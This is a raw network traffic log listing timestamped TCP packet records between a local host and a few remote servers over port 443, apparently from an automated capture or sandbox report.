Nov 28, 2024 06:49:04.142972946 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.142987967 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.142998934 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.143004894 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.145915031 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.145950079 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.146033049 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.146166086 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.146177053 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.193667889 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.197803020 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.197879076 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.197954893 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.197956085 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.197997093 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.198026896 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.200589895 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.200620890 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.200691938 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.200822115 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.200834990 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.529426098 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.533571959 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.533647060 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.533695936 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.533713102 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.533723116 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.533727884 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.536719084 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.536750078 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.536838055 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.536984921 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.536994934 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.567682028 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.567707062 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.567722082 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.567802906 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.567816973 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.567869902 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.568566084 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.571863890 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.571938038 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.572999954 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.573010921 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.573019981 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.573024988 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.578702927 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.578749895 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.578820944 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.579142094 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.579158068 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.605317116 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.605360985 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.605386019 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.605396986 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.605422020 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.605426073 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.605465889 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.605767965 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.605775118 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.605787992 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:04.605792046 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.993871927 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.994666100 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.994688988 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.995147943 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.995153904 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.445704937 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.449613094 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.449703932 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.449758053 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.449768066 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.449806929 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.449812889 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.453042030 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.453072071 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.453164101 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.453336000 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.453350067 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.993891954 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.994478941 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.994501114 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:05.994998932 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:05.995004892 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.262890100 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.263525009 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.263544083 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.264027119 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.264031887 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.370629072 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.371275902 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.371290922 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.371773005 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.371778965 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.447799921 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.447865009 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.447954893 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.448283911 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.448297977 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.448324919 CET	49911	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.448329926 CET	443	49911	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.451427937 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.451457024 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.451540947 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.451666117 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.451680899 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.708707094 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.708755016 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.708898067 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.709139109 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.709139109 CET	49912	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.709152937 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.709161997 CET	443	49912	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.712131977 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.712171078 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.712433100 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.712637901 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.712647915 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.827085972 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.830353975 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.830396891 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.830410957 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.830452919 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.830503941 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.830517054 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.830528975 CET	49913	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.830534935 CET	443	49913	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.833312035 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.833343029 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.833427906 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.833621025 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.833637953 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.969961882 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.970510006 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.970520973 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:06.971018076 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:06.971023083 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.250514030 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.251343966 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.251375914 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.251842022 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.251848936 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.422408104 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.425632954 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.425725937 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.425761938 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.425779104 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.425787926 CET	49910	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.425793886 CET	443	49910	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.428998947 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.429047108 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.429126978 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.429312944 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.429325104 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.594769001 CET	443	49862	23.1.237.91	192.168.2.5
Nov 28, 2024 06:49:07.594896078 CET	49862	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:49:07.701679945 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.704830885 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.704893112 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.704960108 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.704982042 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.704993963 CET	49914	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.704999924 CET	443	49914	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.708287001 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.708336115 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:07.708410025 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.708558083 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:07.708574057 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.285953999 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.287874937 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.287890911 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.288352966 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.288358927 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.596545935 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.597201109 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.597230911 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.597711086 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.597716093 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.641475916 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.642158031 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.642185926 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.642836094 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.642843962 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.738523006 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.742058039 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.742122889 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.742207050 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.742291927 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.742321014 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.742335081 CET	49915	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.742341042 CET	443	49915	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.745663881 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.745697975 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:08.749453068 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.749610901 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:08.749623060 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.058665037 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.062088013 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.062146902 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.062200069 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.062213898 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.062230110 CET	49916	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.062242031 CET	443	49916	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.065399885 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.065448999 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.065521002 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.065682888 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.065700054 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.094068050 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.098102093 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.098176003 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.098244905 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.098267078 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.098277092 CET	49917	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.098284006 CET	443	49917	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.101015091 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.101038933 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.101115942 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.101258993 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.101274967 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.297259092 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.297785997 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.297810078 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.298269033 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.298274040 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.793180943 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.796161890 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.796257019 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.796303034 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.796328068 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.796339035 CET	49918	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.796344995 CET	443	49918	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.799254894 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.799323082 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:09.799415112 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.799571037 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:09.799587011 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.107223034 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.107842922 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.107860088 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.108333111 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.108339071 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.477252007 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.477972031 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.477993011 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.478507042 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.478513002 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.771473885 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.771759033 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.771816015 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.771843910 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.771863937 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.796458960 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.796485901 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.796497107 CET	49919	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.796504974 CET	443	49919	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.806175947 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.808212042 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.808249950 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.808685064 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.808691025 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.810863018 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.810910940 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.810987949 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.811131954 CET	49924	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.811141014 CET	443	49924	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.896146059 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.897731066 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.897753000 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.898665905 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.898670912 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.923432112 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.926322937 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.926383972 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.926532984 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.926547050 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.926557064 CET	49920	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.926563025 CET	443	49920	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.931708097 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.931730986 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:10.931801081 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.932980061 CET	49925	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:10.932992935 CET	443	49925	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.250751019 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.253995895 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.254071951 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.254138947 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.254163027 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.254175901 CET	49921	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.254182100 CET	443	49921	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.257550955 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.257585049 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.257695913 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.257865906 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.257883072 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.347573042 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.350959063 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.351022959 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.351059914 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.351067066 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.351075888 CET	49922	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.351079941 CET	443	49922	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.353971004 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.353998899 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.354065895 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.354203939 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.354221106 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.572154045 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.572654009 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.572685003 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:11.573297024 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:11.573303938 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.027498007 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.031651020 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.031687021 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.031759024 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.031807899 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.031831980 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.031846046 CET	49923	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.031853914 CET	443	49923	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.034567118 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.034591913 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:12.034688950 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.034842968 CET	49928	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:12.034852982 CET	443	49928	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.062788963 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.063374043 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.063393116 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.063911915 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.063915968 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.219822884 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.220519066 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.220545053 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.221013069 CET	49927	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.221018076 CET	443	49927	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.514218092 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.517741919 CET	443	49926	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:13.517808914 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.517855883 CET	49926	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:13.517867088 CET	443	49926	13.107.246.63	192.168.2.5
